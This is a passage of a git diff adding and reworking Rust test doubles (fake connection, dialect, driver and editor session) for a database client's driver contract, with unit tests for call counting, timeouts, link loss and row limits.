std::sync::atomic::{AtomicUsize, Ordering}; +use std::sync::atomic::AtomicUsize; +use std::sync::{Arc, Mutex}; use async_trait::async_trait; -use tablepro_core::{ColumnInfo, Connection, DriverError, ExecResult, QueryResult, TableInfo, Value}; +use tablepro_core::ddl::TableDefinition; +use tablepro_core::dialect::SqlDialect; +use tablepro_core::meta::{ObjectInfo, ObjectScope, RowIdentity, SchemaInfo, TableEstimate}; +use tablepro_core::statement::Statement; +use tablepro_core::{ + CallOptions, ColumnInfo, CommitResolution, CommitToken, Connection, DriverError, EditorSession, + EditorSessionOptions, ErrorCategory, ForeignKeyInfo, IndexInfo, LinkState, LinkWatch, QueryResult, ReadStatement, + ResultSink, RowLimit, ServerInfo, SinkFlow, StreamSummary, TableRef, TimeoutPhase, WriteBatch, WriteReport, +}; +use tokio_util::sync::{CancellationToken, WaitForCancellationFutureOwned}; -use crate::{CallCounters, CloseBehaviour, ConnectionScript, lock}; +use crate::fake_reply::Stop; +use crate::{CallCounters, CloseBehaviour, ConnectionScript, FakeReply, Replies, lock}; +/// A `Connection` that answers from a `ConnectionScript`. +/// +/// It keeps the contract's shared rules so code under test sees them: a +/// reply in the `ConnectionLost` category marks the link lost, and +/// `close` stops every call still waiting, as a real pool would. #[derive(Debug)] pub struct FakeConnection { script: Mutex, + server_info: ServerInfo, + dialect: Arc, + read_only: bool, + close_behaviour: CloseBehaviour, + link: LinkWatch, + closed: CancellationToken, counters: CallCounters, } impl FakeConnection { pub fn new(script: ConnectionScript) -> Self { Self { + server_info: script.server_info.clone(), + dialect: script.dialect.clone(), + read_only: script.read_only, + close_behaviour: script.close, script: Mutex::new(script), + link: LinkWatch::new(), + closed: CancellationToken::new(), counters: CallCounters::default(), } } @@ -24,130 +50,516 @@ impl FakeConnection { pub fn counters(&self) -> CallCounters { self.counters.clone() } -} -fn record(counter: &AtomicUsize) { - counter.fetch_add(1, Ordering::SeqCst); -} + /// Drop the link the way a dead server would, for code that watches + /// `link_state` or `lost`. + pub fn mark_lost(&self) { + self.link.mark_lost(); + } -fn next(queue: &mut VecDeque>, method: &str) -> Result { - queue.pop_front().unwrap_or_else(|| Err(unscripted(method))) -} + pub fn is_closed(&self) -> bool { + self.closed.is_cancelled() + } -fn unscripted(method: &str) -> DriverError { - DriverError::Protocol(format!("FakeConnection has no scripted {method} result")) + async fn answer( + &self, + method: &'static str, + counter: &AtomicUsize, + pick: impl FnOnce(&mut ConnectionScript) -> &mut Replies>, + sql: Option<&str>, + options: &CallOptions, + phase: TimeoutPhase, + ) -> Result + where + T: Clone, + { + CallCounters::record(counter); + if self.closed.is_cancelled() { + CallCounters::record(&self.counters.stopped); + return Err(DriverError::Cancelled); + } + let reply = pick(&mut lock(&self.script)).next(sql); + let Some(reply) = reply else { + return Err(DriverError::Protocol(format!( + "FakeConnection has no scripted {method} result" + ))); + }; + let stop = Stop { + deadline: options.deadline(), + cancel: options.cancel(), + closed: &self.closed, + phase, + }; + let outcome = reply.resolve(&stop).await; + self.observe(&outcome); + outcome + } + + fn observe(&self, outcome: &Result) { + let Err(error) = outcome else { + return; + }; + match error.category() { + ErrorCategory::ConnectionLost => self.link.mark_lost(), + ErrorCategory::Interrupted | ErrorCategory::Timeout => CallCounters::record(&self.counters.stopped), + _ => {} + } + } } #[async_trait] impl Connection for FakeConnection { - async fn list_tables(&self) -> Result, DriverError> { - record(&self.counters.list_tables); - next(&mut lock(&self.script).list_tables, "list_tables") + fn server_info(&self) -> &ServerInfo { + &self.server_info + } + + fn dialect(&self) -> Arc { + self.dialect.clone() + } + + fn read_only(&self) -> bool { + self.read_only } - async fn fetch_columns(&self, _schema: Option<&str>, _table: &str) -> Result, DriverError> { - record(&self.counters.fetch_columns); - next(&mut lock(&self.script).fetch_columns, "fetch_columns") + fn link_state(&self) -> LinkState { + self.link.state() } - async fn fetch_rows( + fn lost(&self) -> WaitForCancellationFutureOwned { + self.link.lost() + } + + async fn probe(&self, options: CallOptions) -> Result<(), DriverError> { + let counter = &self.counters.probe; + self.answer("probe", counter, |s| &mut s.probe, None, &options, TimeoutPhase::Probe) + .await + } + + async fn list_schemas(&self, options: CallOptions) -> Result, DriverError> { + let counter = &self.counters.list_schemas; + self.answer( + "list_schemas", + counter, + |s| &mut s.list_schemas, + None, + &options, + TimeoutPhase::Statement, + ) + .await + } + + async fn list_objects(&self, _scope: &ObjectScope, options: CallOptions) -> Result, DriverError> { + let counter = &self.counters.list_objects; + self.answer( + "list_objects", + counter, + |s| &mut s.list_objects, + None, + &options, + TimeoutPhase::Statement, + ) + .await + } + + async fn fetch_columns(&self, table: &TableRef, options: CallOptions) -> Result, DriverError> { + let counter = &self.counters.fetch_columns; + let name = Some(table.name.as_str()); + self.answer( + "fetch_columns", + counter, + |s| &mut s.fetch_columns, + name, + &options, + TimeoutPhase::Statement, + ) + .await + } + + async fn fetch_indexes(&self, table: &TableRef, options: CallOptions) -> Result, DriverError> { + let counter = &self.counters.fetch_indexes; + let name = Some(table.name.as_str()); + self.answer( + "fetch_indexes", + counter, + |s| &mut s.fetch_indexes, + name, + &options, + TimeoutPhase::Statement, + ) + .await + } + + async fn fetch_foreign_keys( &self, - _schema: Option<&str>, - _table: &str, - _offset: u64, - _limit: u64, - ) -> Result { - record(&self.counters.fetch_rows); - Err(unscripted("fetch_rows")) + table: &TableRef, + options: CallOptions, + ) -> Result, DriverError> { + let counter = &self.counters.fetch_foreign_keys; + let name = Some(table.name.as_str()); + self.answer( + "fetch_foreign_keys", + counter, + |s| &mut s.fetch_foreign_keys, + name, + &options, + TimeoutPhase::Statement, + ) + .await } - async fn query(&self, _sql: &str) -> Result { - record(&self.counters.query); - next(&mut lock(&self.script).query, "query") + async fn fetch_table_definition( + &self, + table: &TableRef, + options: CallOptions, + ) -> Result { + let counter = &self.counters.fetch_table_definition; + let name = Some(table.name.as_str()); + self.answer( + "fetch_table_definition", + counter, + |s| &mut s.fetch_table_definition, + name, + &options, + TimeoutPhase::Statement, + ) + .await } - async fn execute(&self, _sql: &str) -> Result { - record(&self.counters.execute); - Err(unscripted("execute")) + async fn row_identity(&self, table: &TableRef, options: CallOptions) -> Result { + let counter = &self.counters.row_identity; + let name = Some(table.name.as_str()); + self.answer( + "row_identity", + counter, + |s| &mut s.row_identity, + name, + &options, + TimeoutPhase::Statement, + ) + .await } - async fn execute_params(&self, _sql: &str, _params: &[Value]) -> Result { - record(&self.counters.execute_params); - Err(unscripted("execute_params")) + async fn table_estimate(&self, table: &TableRef, options: CallOptions) -> Result { + let counter = &self.counters.table_estimate; + let name = Some(table.name.as_str()); + self.answer( + "table_estimate", + counter, + |s| &mut s.table_estimate, + name, + &options, + TimeoutPhase::Statement, + ) + .await } - async fn execute_in_transaction(&self, _statements: &[(String, Vec)]) -> Result, DriverError> { - record(&self.counters.execute_in_transaction); - next(&mut lock(&self.script).execute_in_transaction, "execute_in_transaction") + async fn query_bound( + &self, + statement: &Statement, + limit: RowLimit, + options: CallOptions, + ) -> Result { + let counter = &self.counters.query_bound; + let result = self + .answer( + "query_bound", + counter, + |s| &mut s.query_bound, + Some(statement.sql()), + &options, + TimeoutPhase::Statement, + ) + .await?; + Ok(apply_limit(result, limit)) } - async fn ping(&self) -> Result<(), DriverError> { - record(&self.counters.ping); - next(&mut lock(&self.script).ping, "ping") + async fn count_rows(&self, statement: &Statement, options: CallOptions) -> Result { + let counter = &self.counters.count_rows; + self.answer( + "count_rows", + counter, + |s| &mut s.count_rows, + Some(statement.sql()), + &options, + TimeoutPhase::Statement, + ) + .await } - async fn close(self: Box) -> Result<(), DriverError> { - record(&self.counters.close); - let behaviour = lock(&self.script).close; - match behaviour { - CloseBehaviour::Immediate => Ok(()), - CloseBehaviour::Delay(delay) => { - tokio::time::sleep(delay).await; - Ok(()) + async fn stream_read( + &self, + read: &ReadStatement, + mut sink: Box, + options: CallOptions, + ) -> Result { + let counter = &self.counters.stream_read; + let sql = match read { + ReadStatement::Generated(statement) => statement.sql(), + ReadStatement::User(sql) => sql.as_str(), + }; + let events = self + .answer( + "stream_read", + counter, + |s| &mut s.stream_read, + Some(sql), + &options, + TimeoutPhase::Statement, + ) + .await?; + let mut rows = 0_u64; + for event in events { + if let tablepro_core::ResultEvent::Rows(batch) = &event { + rows += batch.len() as u64; + } + if sink.accept(event).await == SinkFlow::ConsumerGone { + return Err(DriverError::Cancelled); } - CloseBehaviour::Hang => std::future::pending().await, } + Ok(StreamSummary::new(rows)) + } + + async fn write_batch(&self, batch: &WriteBatch, options: CallOptions) -> Result { + let counter = &self.counters.write_batch; + let sql = batch + .steps + .iter() + .map(|step| step.statement.sql()) + .collect::>() + .join(";\n"); + self.answer( + "write_batch", + counter, + |s| &mut s.write_batch, + Some(&sql), + &options, + TimeoutPhase::Statement, + ) + .await + } + + async fn resolve_commit( + &self, + _token: &CommitToken, + options: CallOptions, + ) -> Result { + let counter = &self.counters.resolve_commit; + self.answer( + "resolve_commit", + counter, + |s| &mut s.resolve_commit, + None, + &options, + TimeoutPhase::Statement, + ) + .await + } + + async fn open_editor_session( + &self, + _options: EditorSessionOptions, + cancel: CancellationToken, + ) -> Result, DriverError> { + let counter = &self.counters.open_editor_session; + let options = CallOptions::new(None, cancel); + self.answer( + "open_editor_session", + counter, + |s| &mut s.open_editor_session, + None, + &options, + TimeoutPhase::Login, + ) + .await + } + + async fn close(&self) -> Result<(), DriverError> { + CallCounters::record(&self.counters.close); + let first = !self.closed.is_cancelled(); + self.closed.cancel(); + if first { + self.close_behaviour.run().await; + } + Ok(()) } } +/// Keep at most `limit` rows and mark the result truncated when there +/// were more, as the contract asks of every driver. +fn apply_limit(mut result: QueryResult, limit: RowLimit) -> QueryResult { + let keep = usize::try_from(limit.get()).unwrap_or(usize::MAX); + if result.rows.len() > keep { + result.rows.truncate(keep); + result.truncated = true; + } + result +} + #[cfg(test)] mod tests { use std::time::Duration; + use tablepro_core::LossPhase; + use tablepro_core::meta::ObjectKind; + use tablepro_core::statement::{Statement, StatementBuilder}; + use tablepro_core::value::Value; + use tokio::time::Instant; + use super::*; + fn select(sql: &str) -> Statement { + let mut builder = StatementBuilder::new(); + builder.push_sql(sql); + builder.finish() + } + + fn unbounded() -> CallOptions { + CallOptions::new(None, CancellationToken::new()) + } + #[tokio::test] async fn fake_connection_counts_each_call() { - let connection = FakeConnection::new( - ConnectionScript::default() - .with_list_tables(Ok(Vec::new())) - .with_list_tables(Err(DriverError::ConnectionLost { - during: tablepro_core::LossPhase::Idle, - })) - .with_ping(Ok(())), - ); + let mut script = ConnectionScript::default(); + script + .list_objects + .once(FakeReply::ok(vec![ObjectInfo { + schema: None, + name: "items".to_owned(), + kind: ObjectKind::Table, + }])) + .once(FakeReply::err(DriverError::Busy)); + script.probe.always(FakeReply::ok(())); + let connection = FakeConnection::new(script); let counters = connection.counters(); - assert_eq!(connection.list_tables().await.unwrap(), Vec::new()); + let listed = connection + .list_objects(&ObjectScope::DefaultSchema, unbounded()) + .await + .unwrap(); + assert_eq!(listed.len(), 1); assert!(matches!( - connection.list_tables().await, - Err(DriverError::ConnectionLost { .. }) + connection.list_objects(&ObjectScope::DefaultSchema, unbounded()).await, + Err(DriverError::Busy) )); - assert!(matches!(connection.list_tables().await, Err(DriverError::Protocol(_)))); - connection.ping().await.unwrap(); - assert!(connection.fetch_rows(None, "items", 0, 10).await.is_err()); - Box::new(connection).close().await.unwrap(); + assert!(matches!( + connection.list_objects(&ObjectScope::DefaultSchema, unbounded()).await, + Err(DriverError::Protocol(_)) + )); + connection.probe(unbounded()).await.unwrap(); + connection.close().await.unwrap(); - assert_eq!(counters.list_tables.load(Ordering::SeqCst), 3); - assert_eq!(counters.ping.load(Ordering::SeqCst), 1); - assert_eq!(counters.fetch_rows.load(Ordering::SeqCst), 1); - assert_eq!(counters.close.load(Ordering::SeqCst), 1); - assert_eq!(counters.query.load(Ordering::SeqCst), 0); + assert_eq!(CallCounters::get(&counters.list_objects), 3); + assert_eq!(CallCounters::get(&counters.probe), 1); + assert_eq!(CallCounters::get(&counters.close), 1); + assert_eq!(CallCounters::get(&counters.query_bound), 0); } #[tokio::test(start_paused = true)] async fn close_hang_stays_pending_under_paused_clock() { - let hanging: Box = Box::new(FakeConnection::new( - ConnectionScript::default().with_close(CloseBehaviour::Hang), - )); - let outcome = tokio::time::timeout(Duration::from_secs(600), hanging.close()).await; - assert!(outcome.is_err()); + let hanging = FakeConnection::new(ConnectionScript { + close: CloseBehaviour::Hang, + ..ConnectionScript::default() + }); + let outcome = tokio::time::timeout(Duration::from_secs(3600), hanging.close()).await; + assert!(outcome.is_err(), "a hanging close returned"); - let delayed: Box = Box::new(FakeConnection::new( - ConnectionScript::default().with_close(CloseBehaviour::Delay(Duration::from_secs(5))), - )); - let started = tokio::time::Instant::now(); + let delayed = FakeConnection::new(ConnectionScript { + close: CloseBehaviour::Delay(Duration::from_secs(5)), + ..ConnectionScript::default() + }); + let started = Instant::now(); delayed.close().await.unwrap(); assert!(started.elapsed() >= Duration::from_secs(5)); + let again = Instant::now(); + delayed.close().await.unwrap(); + assert_eq!(again.elapsed(), Duration::ZERO, "a second close waited again"); + } + + #[tokio::test(start_paused = true)] + async fn a_bounded_reply_stops_at_the_deadline_and_a_late_one_does_not() { + let mut script = ConnectionScript::default(); + script.query_bound.when_sql_contains( + "bounded", + FakeReply::Bounded { + after: Duration::from_secs(60), + outcome: Ok(QueryResult::empty()), + }, + ); + script.query_bound.when_sql_contains( + "late", + FakeReply::Late { + after: Duration::from_secs(60), + outcome: Ok(QueryResult::empty()), + }, + ); + let connection = FakeConnection::new(script); + let within = || CallOptions::new(Some(Instant::now() + Duration::from_secs(1)), CancellationToken::new()); + + let started = Instant::now(); + let bounded = connection + .query_bound(&select("bounded"), RowLimit::EDITOR_DEFAULT, within()) + .await; + assert!(matches!( + bounded, + Err(DriverError::Timeout { + phase: TimeoutPhase::Statement, + .. + }) + )); + assert_eq!(started.elapsed(), Duration::from_secs(1)); + + let started = Instant::now(); + let late = connection + .query_bound(&select("late"), RowLimit::EDITOR_DEFAULT, within()) + .await; + assert!(late.is_ok()); + assert_eq!(started.elapsed(), Duration::from_secs(60)); + assert_eq!(CallCounters::get(&connection.counters().stopped), 1); + } + + #[tokio::test] + async fn a_lost_reply_marks_the_link_lost_and_close_stops_waiting_calls() { + let mut script = ConnectionScript::default(); + script.probe.once(FakeReply::err(DriverError::ConnectionLost { + during: LossPhase::Idle, + })); + script.query_bound.always(FakeReply::UntilStopped); + let connection = Arc::new(FakeConnection::new(script)); + let lost = connection.lost(); + + assert!(connection.probe(unbounded()).await.is_err()); + assert_eq!(connection.link_state(), LinkState::Lost); + lost.await; + + let waiting = { + let connection = connection.clone(); + tokio::spawn(async move { + connection + .query_bound(&select("SELECT 1"), RowLimit::EDITOR_DEFAULT, unbounded()) + .await + }) + }; + tokio::task::yield_now().await; + connection.close().await.unwrap(); + assert!(matches!(waiting.await.unwrap(), Err(DriverError::Cancelled))); + } + + #[tokio::test] + async fn query_bound_keeps_the_row_limit() { + let rows = (0..5).map(|n| vec![Value::Int(n)]).collect(); + let mut script = ConnectionScript::default(); + script + .query_bound + .always(FakeReply::ok(QueryResult::new(Vec::new(), rows))); + let connection = FakeConnection::new(script); + let limit = RowLimit::new(3).unwrap(); + + let result = connection + .query_bound(&select("SELECT n"), limit, unbounded()) + .await + .unwrap(); + + assert_eq!(result.row_count(), 3); + assert!(result.truncated); } } diff --git a/linux/crates/test-support/src/fake_dialect.rs b/linux/crates/test-support/src/fake_dialect.rs new file mode 100644 index 0000000000..26b4448880 --- /dev/null +++ b/linux/crates/test-support/src/fake_dialect.rs @@ -0,0 +1,139 @@ +use tablepro_core::column::{ColumnType, SqlExpression}; +use tablepro_core::dialect::{ + BindError, BindTarget, DialectCapabilities, KeysetDirection, LiteralError, Placeholder, SqlDialect, +}; +use tablepro_core::meta::{EngineRowId, EngineRowIdPart}; +use tablepro_core::sql_syntax::{ + ExpressionSyntaxError, MAX_EXPRESSION_LEN, MAX_TYPE_LEN, SqlGrammar, TypeSyntaxError, parse_expression, parse_type, +}; +use tablepro_core::statement::{BoundParam, ParamType}; +use tablepro_core::value::Value; + +/// A plain ANSI dialect with numbered markers, for code that needs a +/// connection's dialect but not any one engine's spelling. +#[derive(Debug, Clone, Copy, Default)] +pub struct FakeDialect; + +impl SqlDialect for FakeDialect { + fn capabilities(&self) -> DialectCapabilities { + DialectCapabilities { exact_row_counts: true } + } + + fn grammar(&self) -> SqlGrammar { + SqlGrammar::PostgreSql + } + + fn quote_identifier(&self, name: &str) -> String { + format!("\"{}\"", name.replace('"', "\"\"")) + } + + fn placeholder(&self, ordinal: usize, value: Value, _target: BindTarget<'_>) -> Result { + let param_type = param_type_of(&value); + let param = BoundParam::new(value, param_type)?; + Ok(Placeholder::bound(format!("${}", ordinal + 1), param)) + } + + fn literal(&self, value: &Value, _column: &ColumnType) -> Result { + match value { + Value::Null => Ok("NULL".to_owned()), + Value::Bool(flag) => Ok(flag.to_string()), + Value::Int(number) => Ok(number.to_string()), + Value::UInt(number) => Ok(number.to_string()), + Value::Text(text) => Ok(format!("'{}'", text.replace('\'', "''"))), + Value::Undecodable(undecodable) => Err(LiteralError::Undecodable { + reason: format!("{:?}", undecodable.reason), + }), + other => Err(LiteralError::Unrepresentable { + found: other.variant_name(), + }), + } + } + + fn escape_like_text(&self, text: &str) -> String { + text.replace('!', "!!").replace('%', "!%").replace('_', "!_") + } + + fn row_window(&self, order_by: Option<&str>, limit: u64, offset: u64) -> String { + let order = order_by.map(|order| format!(" ORDER BY {order}")).unwrap_or_default(); + match offset { + 0 => format!("{order} LIMIT {limit}"), + _ => format!("{order} LIMIT {limit} OFFSET {offset}"), + } + } + + fn row_value_after(&self, key_sql: &[String], markers: &[String], direction: KeysetDirection) -> String { + format!( + "({}) {} ({})", + key_sql.join(", "), + direction.comparison(), + markers.join(", ") + ) + } + + fn engine_row_id(&self, _id: EngineRowId) -> Option { + None + } + + fn engine_row_id_column(&self, _part: EngineRowIdPart) -> Option { + None + } + + fn parse_type(&self, text: &str) -> Result { + let parsed = parse_type(SqlGrammar::PostgreSql, text, MAX_TYPE_LEN)?; + Ok(ColumnType::untyped_text(parsed.text)) + } + + fn parse_expression(&self, text: &str) -> Result { + let parsed = parse_expression(SqlGrammar::PostgreSql, text, MAX_EXPRESSION_LEN)?; + Ok(SqlExpression::from_catalog_text(parsed.text)) + } +} + +/// The parameter type that carries a value as it is, so a fake bind +/// never fails on a type the test did not mean to check. +fn param_type_of(value: &Value) -> ParamType { + match value { + Value::Bool(_) => ParamType::Bool, + Value::Int(_) => ParamType::Int64, + Value::UInt(_) => ParamType::UInt64, + Value::Float32(_) => ParamType::Float32, + Value::Float64(_) => ParamType::Float64, + Value::Decimal(_) | Value::WideInt(_) => ParamType::Decimal, + Value::Bytes(_) => ParamType::Bytes, + Value::Bits(_) => ParamType::Bits, + Value::Uuid(_) => ParamType::Uuid, + Value::Json(_) => ParamType::Json, + Value::Date(_) => ParamType::Date, + Value::Time(_) => ParamType::Time, + Value::TimeTz(_) => ParamType::TimeTz, + Value::Timestamp(_) => ParamType::Timestamp, + Value::TimestampTz(_) => ParamType::TimestampTz, + Value::Interval(_) => ParamType::Interval, + _ => ParamType::Text, + } +} + +#[cfg(test)] +mod tests { + use tablepro_core::meta::TableRef; + + use super::*; + + #[test] + fn markers_count_from_the_parameters_already_bound() { + let placeholder = FakeDialect.placeholder(2, Value::Int(7), BindTarget::Pattern).unwrap(); + + assert_eq!(placeholder.sql, "$3"); + assert_eq!( + placeholder.param.map(|param| param.value().clone()), + Some(Value::Int(7)) + ); + } + + #[test] + fn identifiers_are_quoted_and_qualified() { + let table = TableRef::new(Some("public".to_owned()), "odd\"name"); + + assert_eq!(FakeDialect.qualify(&table), "\"public\".\"odd\"\"name\""); + } +} diff --git a/linux/crates/test-support/src/fake_driver.rs b/linux/crates/test-support/src/fake_driver.rs index d24edd2f5c..15e41477fd 100644 --- a/linux/crates/test-support/src/fake_driver.rs +++ b/linux/crates/test-support/src/fake_driver.rs @@ -1,28 +1,93 @@ -use std::collections::VecDeque; -use std::sync::Mutex; +use std::sync::{Arc, Mutex}; use async_trait::async_trait; -use tablepro_core::{ConnectOptions, Connection, DatabaseDriver, DriverError}; - -use crate::{CallCounters, ConnectionScript, FakeConnection, lock}; - -#[derive(Debug, Default)] +use tablepro_core::meta::ObjectKind; +use tablepro_core::{ + AuthMode, CommitResolutionSupport, ConnectOptions, Connection, DatabaseDriver, DriverCapabilities, DriverError, + EndpointKind, EstimateQuality, ReadOnlyEnforcement, ScriptExecution, ServerNameOverride, TimeoutPhase, + TlsCapabilities, TlsMode, WriteAtomicity, +}; +use tokio::time::Instant; +use tokio_util::sync::CancellationToken; + +use crate::fake_reply::Stop; +use crate::{ConnectionScript, FakeConnection, FakeReply, Replies, lock}; + +/// A `DatabaseDriver` whose connects are scripted. +/// +/// It keeps every connection it made and every request it was given, +/// so a test can check what the code under test asked for and what it +/// did with the result, including a late connect it should have closed. +#[derive(Debug)] pub struct FakeDriver { - connects: Mutex>>, - connections: Mutex>, + capabilities: &'static DriverCapabilities, + connects: Mutex>>, + connections: Mutex>>, + requests: Mutex>, } impl FakeDriver { - pub fn new(connects: impl IntoIterator>) -> Self { + pub const NETWORK_CAPABILITIES: DriverCapabilities = DriverCapabilities { + endpoint: EndpointKind::Network { default_port: 1 }, + auth_modes: &[AuthMode::Password], + tls: Some(TlsCapabilities { + modes: &[TlsMode::Disable, TlsMode::Require, TlsMode::VerifyFull], + ca_file: true, + client_identity: true, + server_name_override: ServerNameOverride::AnyRoute, + }), + read_only: ReadOnlyEnforcement::EngineEnforced, + dml_writes: WriteAtomicity::Transactional, + ddl_writes: WriteAtomicity::Transactional, + script_execution: ScriptExecution::SingleStatement, + commit_resolution: CommitResolutionSupport::Unavailable, + row_count_estimate: EstimateQuality::Statistics, + object_kinds: &[ObjectKind::Table, ObjectKind::View], + database_required: false, + }; + + pub const FILE_CAPABILITIES: DriverCapabilities = DriverCapabilities { + endpoint: EndpointKind::File, + auth_modes: &[], + tls: None, + ..Self::NETWORK_CAPABILITIES + }; + + pub fn new( + capabilities: &'static DriverCapabilities, + connects: impl IntoIterator>, + ) -> Self { + let mut replies = Replies::default(); + for connect in connects { + replies.once(connect); + } + Self::with_replies(capabilities, replies) + } + + /// A driver that answers every connect with a fresh connection + /// scripted the same way. + pub fn connecting(capabilities: &'static DriverCapabilities, script: ConnectionScript) -> Self { + let mut replies = Replies::default(); + replies.always(FakeReply::ok(script)); + Self::with_replies(capabilities, replies) + } + + fn with_replies(capabilities: &'static DriverCapabilities, connects: Replies>) -> Self { Self { - connects: Mutex::new(connects.into_iter().collect()), + capabilities, + connects: Mutex::new(connects), connections: Mutex::new(Vec::new()), + requests: Mutex::new(Vec::new()), } } - pub fn connection_counters(&self) -> Vec { + pub fn connections(&self) -> Vec> { lock(&self.connections).clone() } + + pub fn requests(&self) -> Vec { + lock(&self.requests).clone() + } } #[async_trait] @@ -35,51 +100,115 @@ impl DatabaseDriver for FakeDriver { "Fake" } - fn default_port(&self) -> u16 { - 1 + fn capabilities(&self) -> &'static DriverCapabilities { + self.capabilities } - async fn connect(&self, _opts: ConnectOptions) -> Result, DriverError> { - let scripted = lock(&self.connects).pop_front(); - let script = scripted.unwrap_or_else(|| { - Err(DriverError::Protocol( + async fn connect( + &self, + options: ConnectOptions, + cancel: CancellationToken, + ) -> Result, DriverError> { + let login = options.liveness.connect_timeout + options.liveness.login_timeout; + lock(&self.requests).push(options); + let reply = lock(&self.connects).next(None); + let Some(reply) = reply else { + return Err(DriverError::Protocol( "FakeDriver has no scripted connect result".to_owned(), - )) - })?; - let connection = FakeConnection::new(script); - lock(&self.connections).push(connection.counters()); - Ok(Box::new(connection)) + )); + }; + let never_closed = CancellationToken::new(); + let stop = Stop { + deadline: Some(Instant::now() + login), + cancel: &cancel, + closed: &never_closed, + phase: TimeoutPhase::Login, + }; + let script = reply.resolve(&stop).await?; + let connection = Arc::new(FakeConnection::new(script)); + lock(&self.connections).push(connection.clone()); + Ok(connection) } } #[cfg(test)] mod tests { - use std::sync::atomic::Ordering; + use std::path::PathBuf; + use std::time::Duration; + + use tablepro_core::{ + CallOptions, ConnectEnvironment, ConnectTarget, FileEndpoint, LivenessPolicy, WorkspaceSettings, + }; use super::*; + use crate::CallCounters; + + fn options() -> ConnectOptions { + ConnectOptions { + target: ConnectTarget::File(FileEndpoint::open_existing(PathBuf::from("/fake.db")).unwrap()), + workspace_settings: WorkspaceSettings::workspace(false), + liveness: LivenessPolicy::DESKTOP, + environment: ConnectEnvironment::new("test"), + } + } #[tokio::test] async fn fake_driver_returns_scripted_connect_error() { - let driver = FakeDriver::new([ - Err(DriverError::Auth { diagnostics: None }), - Ok(ConnectionScript::default().with_ping(Ok(()))), - ]); + let mut script = ConnectionScript::default(); + script.probe.always(FakeReply::ok(())); + let driver = FakeDriver::new( + &FakeDriver::NETWORK_CAPABILITIES, + [FakeReply::err(DriverError::auth(None)), FakeReply::ok(script)], + ); assert!(matches!( - driver.connect(ConnectOptions::default()).await, - Err(DriverError::Auth { diagnostics: None }) + driver.connect(options(), CancellationToken::new()).await, + Err(DriverError::Auth { .. }) )); - - let connection = driver.connect(ConnectOptions::default()).await.unwrap(); - connection.ping().await.unwrap(); - + let connection = driver.connect(options(), CancellationToken::new()).await.unwrap(); + connection + .probe(CallOptions::new(None, CancellationToken::new())) + .await + .unwrap(); assert!(matches!( - driver.connect(ConnectOptions::default()).await, + driver.connect(options(), CancellationToken::new()).await, Err(DriverError::Protocol(_)) )); - let counters = driver.connection_counters(); - assert_eq!(counters.len(), 1); - assert_eq!(counters[0].ping.load(Ordering::SeqCst), 1); + let connections = driver.connections(); + assert_eq!(connections.len(), 1); + assert_eq!(CallCounters::get(&connections[0].counters().probe), 1); + assert_eq!(driver.requests().len(), 3); + } + + #[tokio::test(start_paused = true)] + async fn a_connect_that_never_answers_ends_with_its_cancel_or_login_deadline() { + let driver = FakeDriver::new( + &FakeDriver::FILE_CAPABILITIES, + [FakeReply::UntilStopped, FakeReply::UntilStopped], + ); + let cancel = CancellationToken::new(); + let cancelled = { + let cancel = cancel.clone(); + async move { + tokio::time::sleep(Duration::from_millis(100)).await; + cancel.cancel(); + } + }; + + let (outcome, ()) = tokio::join!(driver.connect(options(), cancel), cancelled); + assert!(matches!(outcome, Err(DriverError::Cancelled))); + + let started = Instant::now(); + let outcome = driver.connect(options(), CancellationToken::new()).await; + assert!(matches!( + outcome, + Err(DriverError::Timeout { + phase: TimeoutPhase::Login, + .. + }) + )); + assert_eq!(started.elapsed(), Duration::from_secs(25)); + assert!(driver.capabilities().is_file_based()); } } diff --git a/linux/crates/test-support/src/fake_editor_session.rs b/linux/crates/test-support/src/fake_editor_session.rs new file mode 100644 index 0000000000..099c56727d --- /dev/null +++ b/linux/crates/test-support/src/fake_editor_session.rs @@ -0,0 +1,320 @@ +use std::sync::Mutex; +use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering}; + +use async_trait::async_trait; +use tablepro_core::{ + CallOptions, DriverError, EditorSession, EditorSessionId, EditorSessionState, ErrorCategory, LossPhase, ResultSink, + RunEnd, RunOptions, RunSummary, SinkFlow, TimeoutPhase, TransactionState, UserSql, +}; +use tokio::time::Instant; +use tokio_util::sync::CancellationToken; + +use crate::fake_reply::Stop; +use crate::{CloseBehaviour, FakeRun, Replies, RunWait, lock}; + +/// An `EditorSession` that answers each run from a script and records +/// what it was asked to run. +/// +/// It keeps the session rules the editor relies on: one run at a time, +/// a lost session stays lost, and the transaction state is whatever the +/// last run left. +#[derive(Debug)] +pub struct FakeEditorSession { + id: EditorSessionId, + runs: Mutex>, + texts: Mutex>, + state: Mutex, + transaction_state: Mutex, + close_behaviour: CloseBehaviour, + closes: AtomicUsize, + closed: AtomicBool, + stopped_runs: AtomicUsize, + closing: CancellationToken, +} + +impl FakeEditorSession { + pub fn new(runs: Replies) -> Self { + Self::with_close(runs, CloseBehaviour::Immediate) + } + + pub fn with_close(runs: Replies, close_behaviour: CloseBehaviour) -> Self { + Self { + id: EditorSessionId::new(), + runs: Mutex::new(runs), + texts: Mutex::new(Vec::new()), + state: Mutex::new(EditorSessionState::Ready), + transaction_state: Mutex::new(TransactionState::Idle), + close_behaviour, + closes: AtomicUsize::new(0), + closed: AtomicBool::new(false), + stopped_runs: AtomicUsize::new(0), + closing: CancellationToken::new(), + } + } + + /// The text of every run, in the order the runs started. + pub fn texts(&self) -> Vec { + lock(&self.texts).clone() + } + + pub fn close_count(&self) -> usize { + self.closes.load(Ordering::SeqCst) + } + + /// Set once a close has finished, delay included. + pub fn is_closed(&self) -> bool { + self.closed.load(Ordering::SeqCst) + } + + /// Runs that ended because they were cancelled or ran out of time. + pub fn stopped_runs(&self) -> usize { + self.stopped_runs.load(Ordering::SeqCst) + } + + pub fn set_transaction_state(&self, state: TransactionState) { + *lock(&self.transaction_state) = state; + } + + fn begin(&self) -> Result, DriverError> { + let mut state = lock(&self.state); + match *state { + EditorSessionState::Ready => { + *state = EditorSessionState::Running; + Ok(RunningGuard { session: self }) + } + EditorSessionState::Running => Err(DriverError::EditorSessionBusy), + EditorSessionState::Lost => Err(DriverError::ConnectionLost { + during: LossPhase::Idle, + }), + } + } + + async fn play(&self, run: FakeRun, options: &RunOptions, sink: &mut dyn ResultSink) -> Result { + let stop = Stop { + deadline: options.deadline.map(|deadline| Instant::now() + deadline), + cancel: &options.cancel, + closed: &self.closing, + phase: TimeoutPhase::Statement, + }; + let waited = match run.wait { + RunWait::None => Ok(()), + RunWait::For(duration) => stop.wait(Some(duration)).await, + RunWait::UntilStopped => stop.wait(None).await, + }; + 